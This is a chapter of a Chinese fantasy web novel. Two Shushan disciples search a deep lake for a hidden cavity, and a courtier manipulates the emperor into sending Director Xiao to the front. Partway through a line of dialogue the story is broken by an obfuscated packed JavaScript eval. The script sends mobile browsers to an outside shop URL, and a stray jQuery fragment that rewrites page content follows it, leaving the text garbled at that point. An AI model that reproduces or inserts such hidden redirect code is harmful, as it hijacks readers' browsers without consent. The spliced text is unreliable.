冬日的焦山,一片光秃秃,可却不似其余山脉那般荒凉,毕竟山下有一个巨大的鹅蛋形状湖泊,里头油润的水滋养着方圆十里的树木,水汽蒸腾向上,山也由此浓郁起来。
燕过云刚抵达这片鹅蛋状湖泊的时候,说出的第一句话便是:“这湖看上去跟个鸡蛋一样。”
她难得没有穿粉色的衣裳,一身利落的湖蓝色袍子,一如既往的是,裙角绣着一只燕子,没有展翅,只是静静立在一处枝桠上,金绣线包边,一针一线足以看出衣者身份不凡。
跟在她身后的常祐生照常点了点头,看了一眼那墨绿色接近黑色的平静水面,随后说道:“水绿则深,水黑则渊。这个湖想必深不见底,萧司长说的地方,果真是这里?”
“放眼这十里八乡的,你给我找出第二个这样的湖试试?”燕过云撇了撇嘴,抱胸侧身瞥了一眼身旁的男子,看着他面上一副认真的模样,她还是问道,“你什么意思?”
常祐生今日与无数个往日都无不同,半扎着乌黑的长发,接近纯白的外衣,在这荒芜的山脚下与一片深色的湖泊前显得尤其惹眼,湖泊倒映出他的身影,宛如他的眼中映出茫茫一片晴空的模样。
“我是指,会不会他知道的就是错的?”常祐生道。
他总是如此,在各种地方上谨慎又谨慎。
“我看这地方这么稀奇,才是再对不过了,他们那群东西肯定是想着各种歪门邪道。”她朝一望无际的湖泊看去,面上的神色渐渐严肃起来。
“我想也是。”他思忖半晌,赞同了她的说法,“不过,我们该如何去到湖底?”
呼吸的事情他们倒是不必担心,蜀山派向来有各式各样古怪但有用的招式,譬如隔绝外物将自己包裹起来的罩子——绝气罩。
绝气,并不顾名思义,据说门派中某个长师发明此物时,只是为了隔绝他人的臭气,于是换作绝气。
可纵是使出全部灵力,那包裹着他们的绝气罩也不够保护着他们直到抵达深不可测的湖底的,更别说是要在整个过程中都保护着他们了。
然而,只见燕过云无声地笑了笑,同他交换了一个眼神,看对方依旧疑惑不解后才开口说道:“你还记不记得蜀山西面那个湖?”
常祐生抿着唇,小幅度地点了点头:“记得。”
“那个湖底下就有个空洞。黑气,无论如何都是气,况且那中间还是个菩提子,菩提子是什么?种子啊,种子怕泡水,所以我猜,这个湖底下和蜀山那个有异曲同工之妙。”她说得头头是道,还带了点稀奇的文绉绉味道。
可听者却浅浅笑了一声,这一笑惹恼了燕过云,她抬起手毫不收力狠狠拍上了他的手臂,顺带骂了句:“说正事呢,笑什么笑?”
“好久没有听你说这么一番话了。”常祐生咳了两声,立刻收了笑,低头解释道。
一番因为可以扯出自己从前的光辉事迹于是说出来有理有据,且还翘着尾巴的话。
“我平常就这样说话。”虽说他解释了同没解释一般,但幸好燕过云不爱追问这些小事。
“是我观察不够细心。”他再度低头,装作惭愧说道。
但这次她很快扯回了正事上,甩了甩手,又郑重地撸了撸袖子,舒展着身体说:“不和你贫嘴,走,下水。”
常祐生没有提出质疑——会不会没有空洞?会不会还没找到空洞灵力便不够支撑绝气罩了?他全然相信着燕过云的判断,她与他不同,不够谨慎,不够小心,可是却足够幸运,足够聪明,也足够大胆。
——
水下一片寂静,绝气罩隔绝了水流,一人一个,于是也隔绝了二人之间的声音,他们听不见彼此的声音,只有时时刻刻以余光观察着对方的动向,生怕不小心对方遇上了危险。
这湖果然如常祐生所说,深不可测,他们足足潜行了数十分钟,看了数十分钟水下漆黑无边又寂静无声的景象,仍是没有看到“空洞”的存在。
而大概还有半个时辰,他们就快无力支撑绝气罩的存在了。
常祐生瞥了一眼燕过云,黑暗中,虽然模糊,但是他可以看见她脸上渐渐浮现出来的愁绪,他没有动作,因为知道她心里有数。
少见的五彩游鱼成群结队游过他们的身侧,起初是将他们二人包围在队伍之中,随后竟有一条率先发现了他们之中的缝隙,于是二人的绝气罩之间也被五彩游鱼占去成了他们的路子。
最开始还不算是一个坏事,燕过云与常祐生都新奇地望着游鱼们恣意的身影,直到游鱼游在他们之间,慢慢把对方的身影全部遮住了,看得他们眼花缭乱也看不到对方一点痕迹时,两个人才慌乱起来。
燕过云抚着绝气罩中靠近常祐生的那一面,绝气罩是透明的,她的手撑在上面,外头的鱼又密密麻麻,令她有一种抚摸着鱼儿的感觉,但她现在没空浪漫。
她撑着绝气罩,拼命挤着眼前的鱼群,试图挤开一条路去和鱼群对面的常祐生汇合,可是这些鱼就跟黏成了一条大鱼似的,怎么也挤不散。
全力前进了有一分钟,她的额间都要在水下冒出冷汗来了,可绝气罩依旧在原处一动不动,五彩的鱼在她心里渐渐变得面目可憎。
她真想把手伸出去揍几条鱼!
其实对面的常祐生也不太好过,他在原地一动也不敢动,生怕等鱼群走了之后,发现和燕过云走散了,他就这么等待了足足一分多钟,在幽黑黑的深水湖下,心跳都变得清晰可听。
二人皆思绪混乱之间,鱼群终于见了尾。
最后十几条鱼悠哉游哉游过去,他们有的更多不是欣喜,而是害怕与紧张,虽说这总不至于死,可这样的环境放大了所有恐惧,尤其关于分离的。
“嗵、嗵、嗵”,心跳一下一下,鱼儿的尾巴一甩一甩。
二人紧张地看着原来那个方向——
“常祐生——这里——”燕过云兴奋得忘却了自己身处在绝气罩中,看见那一层透明的绝气罩中熟悉的身影,竟然张口喊道——当然,他听不见她的声音。
游鱼把他们之间狭窄的缝隙挤开大概有三米远,远远的,常祐生只能看见燕过云嘴巴一张一合不知说着什么,自己学着她的唇形念了一遍,才反应过来是在喊他的名字。
他迫不及待向她靠近,就在他潜行向她的路上,他望见燕过云不知怎么,身后居然慢慢发起光来,随着距离越来越近,他才看清,是她身后不远处,有一个他们正费力寻觅着的地方——空洞。
刚经历过游鱼那一遭,心情还没有完全平复下来,又遇上了意料之外的惊喜,他的情绪在燕过云面前一波三折、跌宕起伏,最后成了一反常态地笑着一边拍着绝气罩的壁,一边伸手指着她的身后。
“看、你、背、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16825943|186135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后。”见她皱着眉疑惑地看着他,他耐心地用唇语说道。
看她背后?
燕过云不解地缓慢转身,映入眼中的是黑暗的深水之中极其突兀与显眼的光亮,若是在岸上,那淡淡的浅蓝色光绝对说不上亮,可是在这幽深的水下,那便甚至谈得上刺眼了。
她看清了那个地方,再转过头来看常祐生时,脸上带着无法抑制的激动与欣喜,那是在一片寂静之中,后者也能因之自然而然想象到她的声音的。
“走!”她指着那个方向,也用着唇语同他交流。
——
与此同时,皇城奢华的宫殿内,林永嘉刚吃了墨无疾的闭门羹——“修行之人不参与俗世中的纷争”,正是心情郁闷烦躁时,花百杀依旧一身喜庆的红色打扮,礼没有请,招呼也未打,便走进了殿内。
他右手虚虚地拿着一张纸,已经被他展开了,一边向林永嘉走去一边念着上头的字:“敌突袭围城,我部伤亡过半,固守难支,速遣援军。”
主座上的人扶着额,侧头俯视着向他走过来的花百杀,他知晓他身份特殊,须得好生侍候着,可是看见他如此肆意无礼,原就郁闷的心更冒出了一股火,但在更重要且紧张的消息面前,他必须压下去。
“皇上,您可有想好援军派谁去?”花百杀嘴角噙着一抹笑,微微低下头,看似恭敬地仰视着林永嘉,可是个人都能看出来他的桀骜不驯。
边塞与罗刹的战事中,虽守住了城池,可却损失惨重,不知还能撑过几日,若是不立刻派遣援军,失守只是时间问题。
林永嘉放下手,坐直了身子,要不是他还需要萧寒枫看着锁世阵,那么连镇邪司一行人他也要派去沙场上了,且,奈何那都是一群奇能异士,多少都与墨无疾之辈一样,不可参与俗世纷争。
他摇了摇头,面色比刚才稍稍缓和了一些才开口:“看明日上朝哪个大将军主动请缨了。”
说完,林永嘉自嘲一般冷笑了一声。
暗处花百杀复又低下了头,为了遮住他嘴角抑制不住牵起的笑——一看就是发自内心的喜悦,不便给上座的人瞧见,不然又得花费一番口舌解释了。
世道不久便要乱成一片凄惨了。
一想到这一点,他的心脏就跳动得比一成不变的时日要畅快百倍千倍,花百杀同他的师父一样,是个不折不扣的乱臣——热衷于将浩浩平安的天下搅动翻腾成乌云密布、天雷滚滚的样子。
可偏偏他还能伪装出一副假模假样的忧国忧民,叫他人看不穿他的真面目,林永嘉便是如此,以为花百杀只是实力强悍于是傲了些,殊不知他现在的无礼已经是他温和了许多之后的样子。
二人一上一下,一坐一立,单论气势,却得颠倒过来看。
“不知萧司长可否胜任这份差事?”花百杀拱手半弯腰,似乎是随口这么一提。
林永嘉刚就在想萧寒枫,可惜——他刚想摇头,站着的红衣男子已看穿了他的想法,及时开口劝道:“听说萧司长又是修行,又是日日练武术,武艺高强、矫若惊龙,而且最常使的就是他腰间那把匕首,既是如此,不知萧司长算不算是完全的修行之人呢?”
不完全是,那便可以参与俗世纷争了。
只见座上的人顿时双眼发亮看向花百杀,登时,两个人眼神来回之间,就决定了下一个赶赴沙场的所为何人。